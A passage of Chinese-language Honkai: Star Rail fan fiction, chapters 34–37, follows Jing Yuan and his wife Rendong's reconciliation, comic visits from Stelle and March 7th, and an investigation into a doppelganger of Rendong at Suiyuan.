本来翘着腿坐在一旁的石坎上的彦卿瞬间跳下站直,满脸戒备的唤出了自己的飞剑。
这位言语之间跟将军似有渊源的危险男人,便是之前彦卿追击而打不过逃掉的人。
什么人有五名,代价有三,将军不是其中之一?他还兼职说谜语吗?
那人被押了下去。
但彦卿不知为何,觉得这人不会乖乖坐牢。他便对将军说:“他好像关不住。”
将军哼笑着摇头,对他说:“当然关不住~他可是当年仙舟上能以工匠之身,得添战功之质的天才啊~我不过是循着仙舟示例处理他,但大约会有他现在的同伴来营救吧。”
“那就这么看着?”彦卿不解,还以为是将军对故人手下留情。
但景元依旧笑着摇头:“他有他的目标将要抵达,我既做到了该做的,那么其他的就不归我管了。”
“欸?为何?”
“自己想啊,彦卿,你总不能指望我一直挡在前面吧?为师也需要退休养老的啊……”
忍冬听完了彦卿转述的所有事,包括他遇见了一位跟她记忆中的故人很像的剑士。
“还真是,多事之秋……”
“师娘,你知道这些人的来历吗?”彦卿还是忍不住好奇,询问了出来。
对于师父,彦卿明白他不会跟他说这些,如果没有师娘,彦卿可能确实会把这些疑惑丢到以后。但现在师娘在,那就不必顾虑师父了。
彦卿的好奇心已经忍不住了,双眼亮晶晶的。
“你啊……”忍冬叹气,但还是如彦卿的愿,跟他说起了那遗落在时光中的云上五骁,曾经仙舟闻名的天才们。
“这么说来,那位蒙面女子就是我师祖了?而那位刃和丹恒,就是我的长辈?”
“如果真是镜流剑首,那她确实是你师祖。你师父也未学得你师祖的真传,彦卿,我看你很有希望哦~至于另外两位……你便把他们当作同辈来看吧。毕竟一个遗失了过往的记忆,一个已经转世新生,实在不必再多有人把他们跟以前的人混同了。”
“人有五名,代价有三,我只不过观花看客,后来之人罢了。”
34. 景元
“……景元,你不必上班吗?”
忍冬手腕一抖,笔下娟秀的字体便长出了一条长长的“腿”。她压着自己的怒气,试图平心静气的提出自己的疑惑。
但导致她出现这番意外的人却依旧满脸温柔的笑意,也不答话,好似这番敷衍便可糊弄过去。
忍冬没有抬头看他,但他的存在感早已避无可避,连同掩埋了她的青玉镇纸,蔓延到了纸面。
忍冬手中的笔杆稍稍倾斜,拨开了纸面上沾染了一点墨迹的白发,继续提正笔杆,想继续写下去。
但……
视线,太过灼热了……
笔端迟迟无法写完一个字,若是放弃,忍冬总觉得面皮燥得慌。她的手腕就这般僵在了半空,将落不落。
大约是装聋作哑的人也满足够了自己的眼睛,这才笑吟吟地说:“大事交由符卿练手了,我才这般得空。夫人~练字不能一蹴而就,可否陪我对弈一局?”
忍冬顺势放下了笔杆,握拳清咳一声,微微点了点头,答应了。
景元这才从忍冬的书桌上直起上半身,一身卸掉装甲后简约的白衬衣,隐约显露出了肌肤的颜色。
忍冬目不斜视的走向院内池塘边的小凉亭,郑重告诫自己千万别色心上头。
长风朗朗,竹枝轻撞,周围的环境没有了前些时日的紧绷感,一切在忍冬看来刚刚好。
她先景元一步坐到了倚靠着栏杆的位置前,这个位置以往总是景元占据着。她对后来一步的景元摊手向对面的位置,唇角勾着笑意,看着被风抚起涟漪的水面,依旧没有正眼看景元。
景元不在意,乖乖坐到了对面,还趁忍冬没有意识到时给她摆好了棋罐。
她挑开盖子,垂眼望着其中换了主人的白子,指尖触及它们温凉的玉面,总算抬起眼睫看了对面人一眼。但一眼之后,她的视线就落到了星罗棋布的棋盘上。
她不太擅长对弈啊……反倒是对面的家伙,这漫长八百年的岁月,其中大约多于七百年的下棋史,来者不善……
“夫人~你先~”景元嗓音宛如掺蜜了一般,在忍冬耳里听来,无端显得齁甜又黏糊糊的。
她夹起一枚白子,随意落到了棋盘正中。
反正又下不赢,随意走走吧。
景元并未对她这步棋说什么,反而兴致勃勃的啪嗒啪嗒跟了起来。
回到罗浮那日,在经过一系列算得上惊心动魄的过程之后,当她被熟悉的人搂入怀里,被那股熟悉至极的气息包围时,她大约是被这些感动了脑子,一瞬间便把她离开这段时日的真心话毫不遮掩的脱口而出。
虽话不假,可她原先是打算徐徐图之的,并没有想光明磊落到如此全然泄露的地步。
所以,意识清醒之后,她很后悔,也有点恼羞成怒,需要时间想清楚怎么把这件事给糊弄过去。
但是!她那番强制纠缠小作文的对象却不放过她!明明都快破碎到直接预想分开的事了!居然还能那么敏锐!
看着面前这局不出预料的棋局,忍冬的眉头也越皱越紧。
景元,这个难糊弄的家伙!
“夫人~可还要下一局?”
下下下!你就没有什么紧急的事需要去做吗?!百废待兴,仙舟就是被你这种咸鱼做派带坏的!
“……不了。”忍冬说。
她知道如果不给景元一点反应,他大约真的要这么耗她一天。所以,她抬眼直视他了。
仙舟人由于药师的存在,是个长寿的种族。所以除了一些特例,他们的家人观念都不强,至少到现在,她也只见过景元的亲人一两次。至于父母?那是见都没见过。
但就算是仙舟人也不可能是石头里蹦出来的,所以很早之前,忍冬就去查过了。
景元的父母都是地衡司一系的家族成员,很早,早在她跟他熟识起来之前,就已堕入魔阴身。
但景元身上依旧有那种文官的书香之家气息传承。
所以他品茶、下棋、看书,一派富有底气的闲散之态,朗月公子,说的便是这般气度。
他在笑,看起来好像跟那时一样。
忍冬看着他,伸手触及他的唇角,就跟雪花遇热融化一样,那抹弧度滑落了下来。
他双手抓住她的手,微凉的脸颊轻蹭过掌心,依旧滑嫩,没有留下男性常有的青色胡茬。
忍冬的大拇指顺着他的动作轻摸他的脸,从眼尾到下颌。
“多年轻的一张脸啊……”低语的轻叹带着说不出的嘲讽,眼波轻柔,可也全是不遮掩的固执。
景元想说话,但被忍冬的大拇指按住了人中,往下压,抵触他开口的意图十分明显。
“我不想听你说那些为我好的话,也不想你真的冷然拒绝我,所以闭嘴吧,景元,我不会离开,也不会让你离开。”
说出这些话,忍冬就像把心里压着的石头移开,全然畅快。她一下一下的轻啄着手中的脸蛋,从额心到颤动的眼皮,从鼻尖到柔软的唇瓣。
景元没有抵抗,他或许在内心挣扎,也或许暗自庆幸,毕竟魔阴身带来的可能被抛弃的结果不会成为现实了……
“景元,说说你的过去,我没有参与的过去。想到什么说什么,不要试图隐瞒。”
棋盘上摆着的棋子散乱落了一地,可能还有几颗掉到了水里,忍冬没有在意,伸手拉着景元到了她面前。
高大的将军屈膝蹲在她身前,右腿膝盖触地,头被仰抬着,一副被动的屈辱姿态。
忍冬笑了,唇角忍不住裂开,露出洁白的齿序:“人类真是的~就爱看高位者自愿低头这种戏码啊……”
这种把景元占据的姿势不得不说,很爽!!
忍冬还没做什么,只是那狎暧扫视的眼神,景元就已是一副紧张的姿态。
他恍若口渴一般滚动了喉结,紧抿唇瓣,金眸湿漉漉的望着忍冬。
啊……这副姿态……
忍冬知道景元不会为这个动作有什么心理波动,只不过她爱看,只不过是她,所以他可以夹杂真实的悸动,发挥精湛的演技,演一演她。
不过……“大庭广众的,你要干嘛?”
忍冬眼神一变,非常正经的问面前这位勾人的小郎君,好似一副正经人的面貌,义正言辞的拒绝了这番诱惑。
景元的眼神也变了,笑吟吟的水波在他眼中扩展。他把头靠在忍冬腿上,歪头望着她,那股诱人小白花的气势已经从他身上褪去。
“夫人~”
“我在……”忍冬垂眸,唇角也勾起了柔和的笑意。
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作为两方中爱得较浅的一方,忍冬很难真实了解到景元对她的感情,不过不难揣测出一二。忧虑、担心、恐慌……她曾在分开时感受到情绪,只要再加深……
“所以你别想离开我。”忍冬笃定道。
寰宇之内,她最爱他,他也是最爱她的人。
“我怎么忍心把你丢下呢……”
*
三月七拉着星逛着罗浮上的特色店铺,在一处小吃摊的转角看见了垂涎欲滴却踌躇不前的天才剑士。星当机立断,立刻以一副老熟人的嘴脸搭话了:“彦卿,你在这里干什么?要不要我借钱给你啊~”
“喂!不要一副放高利贷的样子好不好?!你面前的是罗浮官方成员啊!要是星你被逮捕入狱,我不会去捞你的哦~”三月七虽然已经熟悉了星的行事作风,但每次还是忍不住吐槽出声。
堂堂美少女,居然在列车三人组中混成了吐槽役,还有没有天理呐?!
“啊,星师父!”彦卿转头,惊喜得眼睛都发光了。但转而想到他一个云骑骁卫,还是将军的近卫,居然动了想跟星师父她们借钱的念头,彦卿的底气瞬间就不足了,脸蛋都挂上了羞耻的红晕。
“脸红了。果然不论男女,钱都很通吃啊~”星一副了然的姿态,转头对三月七点了点,一脸寻求认可的样子。
三月七半张着嘴,眼皮无语的半垂,难言的望着星。她试图开口,但大脑的语言组织结构还没有如此先进,能对星这种一意孤行的顽劣份子进行有效说服。结果就是她闭嘴了,目死的听着星叭叭金钱的相关关系,包括但不限于升级遗器、光锥,还有强求美人……
彦卿听着,但很快也如三月七一般,眼神空洞了起来。
星师父哑巴的时候很哑巴,但说起来……可以去给人讲经了。不过她常以理服人,大约不需要多费口舌。
“彦卿。”艾莲娜抱着一个箱子出现,脚步轻快的走向他:“喏,这些是忍冬妈妈给你带回来的礼物。我掂量着,约莫是新出的利剑。看来你不用紧巴巴捏着钱包存钱了~”
艾莲娜本来没有注意到彦卿面前的两人,直到她把箱子塞到彦卿怀里,他一时琢磨不住,踉跄了一下。眼前一花,手一热,等艾莲娜再次看清时,一位嘴角勾着邪肆笑容的女孩便牵上了她的手,说:“美人~要不要跟我回家?”
天哪,连台词都跟街边的流氓没有两样……
彦卿嘿咻一声抱起箱子,听着里面的剑器撞击声,连肚子咕噜噜的叫唤也顾不上了,打了个招呼就想跑。
但没等他跑开,三月七的铁拳先给了星一个教训:“你别骚扰人家女孩子啊!就算你是女的也不行!!”
“欸?”彦卿眨巴着眼看了三月七一眼,望向了一样有点呆滞的艾莲娜,笑嘻嘻的喊她:“艾莲娜,别发呆了!回家了!师父肯定被师娘给解决了,我们去吃饭吧!”
“带带我,带带我!我也要去!”星不忍放过这位武力跟外表一样出色的美人,生拉硬拽的拖着三月七跟上了他们。
毕竟彦卿家……不就是将军家吗?她这个奇兵去讨顿饭,顺带跟这位艾莲娜小姐交个朋友,谁都不能说她不好!
“人不能跟浣熊计较,依次而言,谁能跟你计较啊……”被拖着走的三月七无力的吐槽道。
35. 垃圾桶和小灰毛
“哦?这是仙舟上最新演化的神奇生物吗?”忍冬站在小院的垃圾桶前,看着徒手在黑洞的桶口摸索着的小灰毛,满脸兴味盎然。
三月七缩在墙角,直面着面前的红墙,直愣愣的眼神已经能看出魂游四方去了。
“我真傻,真的,明明知道一定会有她的传统技能的……啊,好丢脸,在算不上的陌生人面前,我居然很想重新被冰封回六相冰里!”
墙角是怨念蘑菇蹲的蓝粉毛女孩,面前的垃圾桶前是专心致志以致完全忽略她的灰毛女孩。忍冬歪头,食指轻点着侧脸,这是什么新出的碰瓷手段吗?
这时候,彦卿提着好几袋温热的吃食出现了,指着小灰毛就喊:“星师父,你在干什么啊?!那是我家垃圾桶啊,别乱翻啊,弄脏了周围会被地衡司的环保部分罚钱的!”
看来落点很明确,钱……
彦卿这小子,是又看中了哪把宝剑了吗?她带回来的那些还不够这小子消停一阵子啊……
“啊!师娘!给,热气腾腾的酸汤砂锅粉,一出锅我就驾着飞剑带着飞回来的,绝对没有泡软!”彦卿双眼亮晶晶的,献宝似的把手中的食物提到了忍冬面前。
忍冬笑着伸手接过一袋,空闲的手指轻点向垃圾桶和墙角闻声看来的两人:“带着你的朋友进来吧,我虽不擅厨艺,但茶水还是管够的~”
“嘿嘿~”彦卿跟一脸纯然的星和一脸羞愧的三月七对上了视线,脸颊红扑扑的难为情摸了摸头:“抱歉师娘……星师父只是、只是为人纯质,喜爱回收旧物,并、并没有喜欢翻垃圾桶……”
糟糕!嘴巴里说的假话好像毒液啊,要倒回心灵深处,让心灵枯萎了!
彦卿越发小声的辩解完,垂下了自己已经通红的脸。
这还是第一次,他对师娘说了谎……
所以啊,彦卿小兄弟,为什么要给这个并没有反省和愧疚的家伙辩解啊……你看她在你帮她解释的这段时间里,手还一直不停的在垃圾桶里摸索啊!
三月七也在彦卿口称的师娘的清明目光中羞愧的低下了通红的脸。
糟糕!为什么有一种面对慈爱长辈,自己却犯事了的感觉?!明明连对面对景元将军时都不会这样!
“……师、娘?彦卿师父是我,所以……我明白了!你是我老婆!”星完全没有get到三月七的羞愧和彦卿的难堪,她的耳朵只恰恰捕捉到了自己想听的东西。
老婆!彦卿给她发老婆了!虽然她已经有了四五六七……个老婆,但再来一个她也不嫌多!她会好好赚钱养老婆们的!
就在星想带着一身垃圾桶的余味走到忍冬面前时,一把飞剑和一只冰兔子齐齐砸向了她。
“什么啊!星师父,师娘是将军的夫人!不是你的啊!你也别再往前了,一身臭味会熏到师娘的!”
“星!!你别口出狂言啊!我不想再遭受一次雅利洛时的通缉令了!这位夫人明明是有夫之妇,是不道德的!”
“哎呀……”忍冬看着面前几乎算是群魔乱舞的场面,很庆幸自己被云璃和黑塔锻炼过,能快速撤出范围圈。毕竟她也一大把年纪了,跟小辈缠斗在一起,打赢打输都是问题啊……
星摸不着头脑的躲开三月的冰兔子攻击,抽出棒球棍就想打开彦卿阻拦的飞剑。
“你休想啊!!臭兮兮的,需要冰雪的洗礼!!”/“就是就是!不要反抗!我们是在挽回你的脸面啊!”
“这孩子不像需要脸面的样子啊……”忍冬的吐槽没有人在意,她也不认为这样的小打小闹需要阻止。所以一转身,用鞭子勾过了彦卿遗留在地上的打包食物,轻飘飘的迈步进了小院。
“景元~彦卿把饭带来了,来吃饭吧~”
忙碌的养子养女在确定养母忍冬接下来没有任何大问题之后,马不停歇的就返回了自己的学业和事业驻地。就算家族/公司是个烂摊子,但成就感不是假的啊!
她/他要为自己的人生拼出一点安慰,那样就算老了,也可以对不安别离的忍冬妈妈说,我们的一生没什么遗憾了~
景元扳开附送的竹筷子,递给忍冬,打开了自己面前的一份包装袋。方正的餐盒一掀开,铺面而来便是勾人食欲的酸汤香气,伸勺舀起一勺橘红色汤汁,醇厚得恰到好处的酸中夹着微微的辣,瞬间让人想动筷品尝沁润了汤汁的粉白色米粉。
忍冬也开动了,只不过不像景元一样原样品尝,而是大加嫩红的鲜辣椒段和香菜小葱。
就在他们已经在小院里架桌吃上时,门外打闹的三人才总算结束走了进来。
彦卿扭动了几下酸软的肩膀,三月七跟在捂住脑袋故作别扭的星后面,满脸心虚。
忍冬筷子夹起一块炖煮软糯的五花肉塞到嘴里,眨巴着眼睛看了他们几眼。
看来彦卿跟那位粉蓝毛小姐得偿所愿了呢,只不过……看来这位星小姐在列车上类似于团宠啊~
唔,好像没写过这类的文,要不要开一本呢……但这是老题材了,很难写出花啊……
彦卿自然的走到桌边坐下,提过了一袋砂锅粉,坐下便开吃。
三月七本来在哄故作委屈的星,但等一对上忍冬那双探究的眸子,先前被连累的羞耻心又艰难复活了。
但大约是顾忌着一旁低头喝粉的接地气景元,她先诺诺跟他打了个招呼,然后一脸尴尬的对上了忍冬:“抱、抱歉,突然空手上门拜访……”
是个好孩子呢……
“啊,老婆,给我也来一份!”
相反,这个孩子反而像缺了很多根筋的样子。
忍冬递了剩下的两份砂锅粉到已经自然坐到彦卿一旁的星手中,笑着对粉蓝毛小姐指了指剩下的一个空位:“来者是客,坐吧,这位……”
“我是三月七!叫我三月就好,那个家伙叫星,我们是列车的成员。”见忍冬迟疑,三月七立马上道的给自己和一旁已经把头埋到碗里的星介绍道。
“好的,三月小姐~请坐吧,别拘束。你们对罗浮的帮助我也亲身体会到的,这次不称礼的招待还请多包涵。”忍冬说着自己以往绝对会很牙疼的场面话,不知道第几次看向一言不发的景元。
景元笑眯眯的,全然一副,这个家里都是忍冬做主的样子。
当着客人,忍冬不想给景元难堪,只不过……稍稍在底下踢一脚,谁也不能说她家暴,对不对?
三月七坐到了星旁边,星埋着头看都
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没看,精准把另一份砂锅粉推到了她面前:“这个……呼哧呼哧、好吃,三月,呼哧呼哧,你快尝尝。”
三月七脸上笑容灿烂,但忍冬以她良好的肉眼视力担保,她的一侧眉梢绝对在很剧烈的跳动。
星吃完了,一抹嘴巴,抬头望向不动的三月,眨巴着眼看着她面前的那份,想法全写在了脸上。
没等星开口,三月七利落的动了筷子,也不管她了。
管什么管!都没人管她的死活,她为什么要管星?啊,这种不用带脑子的美感……
吃完的星见不能白嫖一份,只好用眼看向自己比较陌生的新老婆,问:“老婆,你叫什么啊?”
“老婆……星小姐还是如此出人预料呢~不过夫人确实很得人喜爱~”一直压着存在感的景元筷子一顿,抬头笑吟吟的跟星搭起了话。
他们有来有往的说着忍冬的事,好像眼睛突然瞎掉,没有注意到彦卿和三月七越垂越低的脑袋。
忍冬笑嘻嘻,当着壁上花。
“欸等等,我不是在问小姐姐的名字吗?”星好像脑子突然灵光一闪,想起了自己的初衷,避开了景元犀利就差直扑面门的气势,夸张的扭过头,眼神闪闪的看向忍冬。
小姐姐……真是能屈能伸啊……
这是这桌人此时共同的心声。
忍冬也见够了景元直白的嫉妒,满脸真切笑意地对星说:“我名忍冬,是罗浮上一位闲散人员。医术不错,武力尚可,诸位罗浮的大英雄,有需要请尽管开口~能力范围,我会全力相助。”
“冰奶……还有战力,虽然全面到没有特点,但很万金油啊……”星摸着下巴嘀嘀咕咕着什么听不懂的话,忍冬没有在意,依旧在笑。
只不过……景元低头看向桌底碾压着自己鞋面的鞋尖,在黑色的鞋面上留下了几道很清晰的半圆鞋尖印。
景元一脸正常,好像低着头和已经抬头欲言又止的彦卿和三月七两人没有发现一样的正常。
这真的很正常,以忍冬的脾气,这样才正常,迟来六百年的正常!
这一次饭食,谁都没有顾忌什么而压抑自己内心真实的想法,都真真切切向对方表达了自己的情绪。
而像一只小浣熊的开拓者星也凭着自己的厚脸皮,在这一家中刷出了自己的印象分。尽管最开始的那位幽兰美人半路离开了他们,踏上了去匹诺康尼的飞舰都没有让她很沮丧。
因为……
“宝箱!宝箱!!啊!亮闪闪的星琼!!她绝对是我老婆!你们看呐!这都是她对我的爱!!!”
半夜发疯的星疯狂艾特自己的朋友们,向他们展示了自己堆在床上的好几个华丽外表的箱子和腿上满溢的一袋子流光溢彩的星琼。
这些,都是忍冬不知什么时候堆积在自家杂物间的东西。没什么用,还占地方,且她也没到靠这些不知道用途的石头和箱子来度日的地步。
所以,当发现星在垃圾桶里是想掏出这些之后,她果断把这些都转送给了她,为了让她不要再来掏门口的垃圾桶了……
只不过,这天之后,这人反倒来报到得越发勤快了……
为什么?就那几百颗石头和那几个箱子?
36.绥园之行
“当然不止如此了!”星一脸认真的反驳了三月,对自己去忍冬小姐家宛如点卯一般的行为做了解释:“那是三百星琼和四个大宝箱的事吗?!不是!是给我当期卡池角色最后一抽的赈灾粮啊!”
“你能明白吗?回回不到七八十抽就不出金的我,居然拿着那三百星琼就抽出来了!没歪!而且那四个华丽大宝箱还刚好出了一套能用的遗器!多么幸运的事啊!那不可能是我的运气!”
面对星那一脸信誓旦旦,三月不知该先安慰她的非洲人运气,还是嫌弃她这一副馋上人家好运的嘴脸。
对于开拓者的能力,列车组的成员大抵是有一些猜测的。当然,这也能给他们一些安慰。毕竟,如果真的像玩游戏那样,那星的嘴脸就可以解释和接受了……
第四天灾什么的,就连她自己,玩游戏时也是上房揭瓦,四处搞事……
三月七捂着额头接受了星的这番解释。
嘛……就算她不接受,星也绝对不会听就是了……
“哦?是在说那位夫人吗?”姬子从三月七敞开门的房间路过,听到了她们说的话,敲了敲门框,微笑着插话走了进来。
“姬子,你知道她?”三月好奇的看向坐下的姬子,满脸好奇:“我都没听说过她,你是从哪儿知道的?”
姬子端着一杯黑咖啡,在逐渐浓郁的苦涩气息中,悠悠说开了。
“若是只听人言,那位夫人确实鲜为人知。但若说起这几百年间仙舟骤减的魔阴身事件,那忍冬此名可是如雷贯耳啊~更遑论在如今这番丰饶成灾的情况下,她的能力更是让人惊叹了。”
“丰饶……忍冬小姐不就是这个命途的吗?”三月揪着兔子玩偶的耳朵,眼里全是困惑。
“是啊……所以才让人惊叹呐~丰饶这个寰宇公认的单薄命途,居然能出现这番奇变?好多人都在暗中看着她,想看她是被丰饶撕碎,还是被仙舟吃掉。”
“忍冬小姐罪不至此吧、不对,她不该有这种可怖的结果吧!”三月虽不至于一见面就喜爱上忍冬,但听闻她的作为,还是不希望好人有这等下场。而且那些话……听起来真像恶毒的诅咒,暗地里的蛆虫才会有的想法!
“我不会让他们动忍冬的,她是我老婆!当然,勉为其难的,也是景元的老婆吧……”星语气激昂的说完前半句,后半句可能是想到了那天景元恐怖的气势,顿时气弱改口,惹得三月鄙夷的瞪了她一眼。
真是的,明明能懂这些,却偏偏反而去撩虎须!有本事你当着景元将军的面再说一次啊?!
我不!
星看过来的眼神这么对三月无言固执道。
姬子笑看了一眼两人有来有往的视线,注意到三月紧捏着兔子耳朵的手放松了下来,轻摇了摇头,继续说:“她当然不会如此,但这些看法也确实是对她评价的主流。
因为景元将军跟她的关系,所以这些人便浅显的认为,她只不过是一朵攀附着他的菟丝花。但你们近距离接触过她吧,三月,你们认为那位夫人是这样的吗?”
三月七迟疑着,无法准确给出自己的判断。
“不是,她有一双战士的眼睛!”星笃定的脱口而出,闪亮的双眸望着姬子,一脸渴求表扬的表情。
姬子微笑着等了三月一会儿,但她实在是无法草率得出结论,只好看了看身旁虽然平常不靠谱但关键时刻很靠谱的星,鼓足勇气对姬子说:“我跟她一样!”
姬子叹气出声,脸上的表情哭笑不得:“你们啊~真不知道是该夸还是该骂,不过说对了……”
她的表情柔和了下来,小巧的银勺搅动咖啡,喝了一口,看向她们说:“那位夫人虽是医药之家出生,但幼时却在父辈的家乡打出了一点名气的,虽然因为是小星球没怎么引起注意……但也还好是小星球,所以也没有人专门去对付她。”
“我知道,还是因为列车。智库里有一个隐秘的文档,是专门记录这些宛如萤火,有可能变成巨日的人们。她是近些年来,寥寥被记录在档案里的十几人之一……”
看着姬子脸上难以说清的表情,星迟疑着问:“所以……她很可能升格成星神?那景元怎么办?!”
“唉,我很高兴你能关心你的朋友。但星啊……你不该先询问她怎么变成星神吗?”姬子是知道这位最后上车的孩子有多出人预料的,但她也绝对是一个能洞察人心的人。所以对于她不接话茬的行为,姬子有点头疼。
话题歪了,掺上了一股饭后八卦的气味。
“这有什么好问的,不就是这样那样,然后变成星神吗!不管是星神还是其他,我全都能一棒球棍送走!”星作势摆出了一个挥棒的动作,满脸意气风发。
三月死鱼眼的看着她:“喂喂,这样那样是哪样啊?!”
“就那样啊!”
“所以说,那样是怎样啊?!”
话题就这么在星的插科打诨下终结了。
直到星在罗浮上结识了桂乃芬,和素裳一道卷入绥园异动为止,忍冬的战力才彻底显露人前。
绥园,罗浮上曾经一处恢弘的山水园林,现今的阴森墓园。
星会来到这里,既是为了满足自己这段时间听闻的仙舟诡异升起的好奇心,也是为了陪同新朋友如火如荼地开展她的直播事业。
但……
“原来真的有鬼火啊!”星很惊奇,在身旁的桂乃芬和素裳抱着彼此瑟瑟发抖之时,她不小心脱离了大队伍,迷失在了阴森的绥园内。
然后……被眼底冒着幽光的年轻版“忍冬”给推入了一张古怪、有一个奇怪自己的镜子内。
“所以,这就是你拉着我这个老年人来墓园蹦迪的原因吗?”
忍冬专门披了一件绒毛围领来到绥园,面不改色的在十王司的守卫监视下询问星,眼里只能看到淡淡的忧愁,连烦恼也算不上。
星在被推入镜子里之后,虽没有再直面那位“忍冬”,但当她被寒鸦救出来时,却又不得不跟“忍冬”对上。
她原先以为自己能力胜“她”,毕竟她可是能一棒球棍打飞末日兽、一炎枪抽歪大守护者、痛殴过许多古古怪怪奇怪生物的威武女人!
但当攻击范围很广,毒性和伤害都很剧烈的鞭击抽到她身上时,星泪流满面。
她错了……
她不该轻信漂亮女人的外表,就觉得她们是需要守护的林妹妹……
呜呜呜……好疼,还有很剧烈的麻痒……救救啊!!
忍冬是被十王司“请”过来的,虽然以来请的守卫数量,大约也有一点防备的意图吧,但他们确实好好的把她护送到了绥园。
景元……当然是也跟着来了。
忍冬看了一眼身后紧跟着她的景元,他立刻上道的交出了手中
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的医药箱。
忍冬把药箱自然的塞到了护送她的一位十王司守卫手中,在这位守卫呆怔之时,眼看着前方,对身后的景元招了招手:“跟紧点。”
景元立刻迈步上前,站在了她身侧,忍冬伸出手拉住了他。
见到星的那一刻,忍冬尚还云淡风轻的心态立刻崩坏了,连带着脸上的惊愕遮都遮不住。
猪、猪头……星她、被抽肿成一个猪头!!
“……星?”忍冬从没想过自己有朝一日也能用怜惜娇花一样的语气说话,动作之间带着迟疑与不敢置信。
“……是我。”
“你的脸?!!”忍冬忍不住捂住双颊,双眼瞪大,想尖叫了。
这黑紫的颜色,这眼熟的鞭痕,她颤巍巍的解下腰间充当腰带的红鞭,在他人瞬间犀利防备的眼神中,不断抬起比划,然后放下,又抬起的循环……
“……这、这不会说是“我”做的吧?”
忍冬想到自己被叫过来的缘由,脸色泛了白,她、她应该不会梦游……
忍冬急不可耐地扭头问身旁的景元,双眼空茫茫的泛着白,一头雾水。
“安心点~”景元捏了捏忍冬的手掌,眼睛一直注视着她,唇角含笑:“这几天你可是一直跟我在一起,半点都没有离开过啊。”
“对啊,所以为什么会有我的鞭痕和毒啊?!”忍冬的头猛然一转,直勾勾的望向了“小猪头”星,满脸寻求。
“这个等会儿再说啦!先个窝解读……”星情绪激动的喊,然后口齿不清的发表了自己的诉求。
本来她还想卖卖萌什么的,但想到自己的脸现在的样子,还是果断做罢了。
绝对不是怕忍冬那张脸的缘故!
忍冬在意突然多出的“自己”吗?当然不在意。
她在意的是那人毫不顾及的显露能力,太容易牵连到她了……
她处理着星的伤口,望着望着,眼神逐渐幽深。
星的瞳孔剧烈震颤着,想逃,但被误以她要挣扎的忍冬唤出藤蔓绑住了。
更、更像了喂!
星双眼惊恐的把求救视线依次投降景元、寒鸦等人,但只有桂乃芬表现出了意动,其他人纷纷当着她这个苦主的面别过脸了啊!
寒鸦跟忍冬算得上是老相识了,所以她很确定绥园里的那个“忍冬”不是她。但出于程序正义的需要,她还是把忍冬请过来了。
毕竟……这一场绥园异动虽不致命,但也是紧要之事,岁阳对于仙舟人来说可不是好相与的。
但满脸严肃进行医治的忍冬也不是好相与的……
所以……抱歉了开拓者,就当我欠你一场吧!
寒鸦日常的三无脸蛋扭过头,就这么向星无言传达着自己的想法。尽管星已经开始疼得嗷嗷叫,根本没有注意到她这个细微举动。
桂乃芬想为星说句话,但在她将要开口时,身旁的素裳一把捂住她的嘴,头冒冷汗地瞪着眼在她耳边低语:“忍冬医士在医治时可是魔鬼啊,你想招惹魔鬼上门吗?”
桂乃芬虽一头雾水,但还是老实摇了摇头,并悄摸用眼睛打量着这位星强烈要求请过来的医士,满脸摸不着头脑。
这位小姐看起来既不像是把星抽成那样的人,也不像素裳嘴里的魔鬼,为什么那么怕她呢?
而且,她之前不还是嫌疑人吗?
37.岁阳之灾
“岁阳……他们有这种能力?”忍冬探寻的望向景元,在周围更为熟知岁阳的人衬托下,这份不自觉的亲近才更为让景元内心熨烫。
“以我所知,大约是没有的。”景元虽给予了否定的回答,但还是望向了对岁阳更为了解的十王司成员。
寒鸦点点头,肯定了景元的话。
星顶着解了毒后开始消肿的脸笃定说:“那绝对是忍冬!但不是这个忍冬……”
忍冬睨了她一眼,不无不可的点头:“确实,这鞭这毒,我这八百年的岁月确实只见过我有。”
“所以,是为了针对你吧。”
面对这个一直无法说出口的定论,星一言脱口而出,气氛冷冽了下来。
忍冬低着头深思,景元脸色凝重,寒鸦和后赶到的藿藿相顾无言。
而本来为起因,此时却沦为配角背景板的桂乃芬和素裳眨巴眨巴自己清澈的大眼,望望这个,看看那个,混成了一个看戏的。
“……我身上有什么值得其他人觊觎的呢?”忍冬觉得,以自己的表现来说,自己不应该面对这种直扑脸面的针对吧?她都谨小慎微到八百岁才把自己的能力浅显透露出去的啊,还是给一个学术疯子……
所以,她有什么值得特殊对待的呢?
“那可多了,美貌啊,医术啊,还有特殊的命途能力什么的……”星一脸认真的向好似困惑着的忍冬细数着。
“开拓者是不是缺根筋?”桂乃芬凑到素裳耳边悄声问。
素裳虽对在场之人不熟悉,但对于他们的鼎鼎大名却是内心有数,所以,她很确定,小桂子的话所有人都听见了。
她说:“应该是缺很多根吧。”
星扭过头,平静的看着她们,说:“我听见了。”
“哦。”素裳也一脸平静的回。
景元皱着眉,唇角虽还带着标志性的笑容,但眼里的担忧怎么也遮不住。
忍冬叹气,白皙的指尖轻点他的眉心,打着圈揉着:“担心什么,那个复制出的我都能把星按起来打,我不会比她差。”
景元拉下她的手,在宽大的掌心中揉捏着,声音低沉:“我知道,但这跟我担心不冲突。”
盯——
星用手肘戳了戳身旁站着的桂乃芬,看向素裳,一脸认真的捏着气音大声询问:“我们是突然消失了吗?还是变狗了?天上突然下狗粮了欸!还有没有天理了,专砸单身狗??”
“……开拓者,三月小姐不是说你自称有很多老婆吗?”忍冬望向这个给自己唰存在感的人,唇角的笑意十分勉强。
毕竟作为被称老婆的之一,实际却是偶尔擦屁股好帮手的忍冬,她实在不想在这几位算得上老熟人的朋友面前暴露出这种事。
就算以仙舟人的观念来说,这种小年轻恋上年上的事能称道一声有魅力,就算星是一个很有能力的人……
但她是个满嘴胡话,四处搞事,且日常不靠谱的形象大约这几位都清楚吧……
有种自己小辈带着自己丢脸到熟人面前的感觉,大约也可能不是感觉……
“老婆是口癖啊!我还是一个三岁的宝宝呢,忍冬你怎么能这么败坏一个宝宝的名声呢?”星义正言辞,星理直气壮,星不管这几人看自己的诡异目光。
“爱美之心,人人有之。宝宝我啊,也是一个爱美的人啊!看到好看的人叫一句老婆怎么啦?!”
“……素裳,开拓者这么叫过你吗?”桂乃芬问。
“额……没有。明明是很丢脸的事吧,我为什么还有点遗憾和生气?”素裳满脸迷茫。
“大约因为以开拓者的说辞来看,你没够上她美的标准吧。”
“……你是纯美的信徒吗,还看脸,还宝宝,鳞渊境深处生活的海豹皮都没你脸皮厚吧。”
大约是内里的臭味相投,忍冬就算跟星差了很多岁,还是在她持久不懈的纠缠中处成了损友一般的存在。包括但不限于在列车小辈三人组其中两人不在时充当吐槽役和嘴毒代表。
气氛随着星的插科打诨逐渐松弛,没有了之前的紧绷。
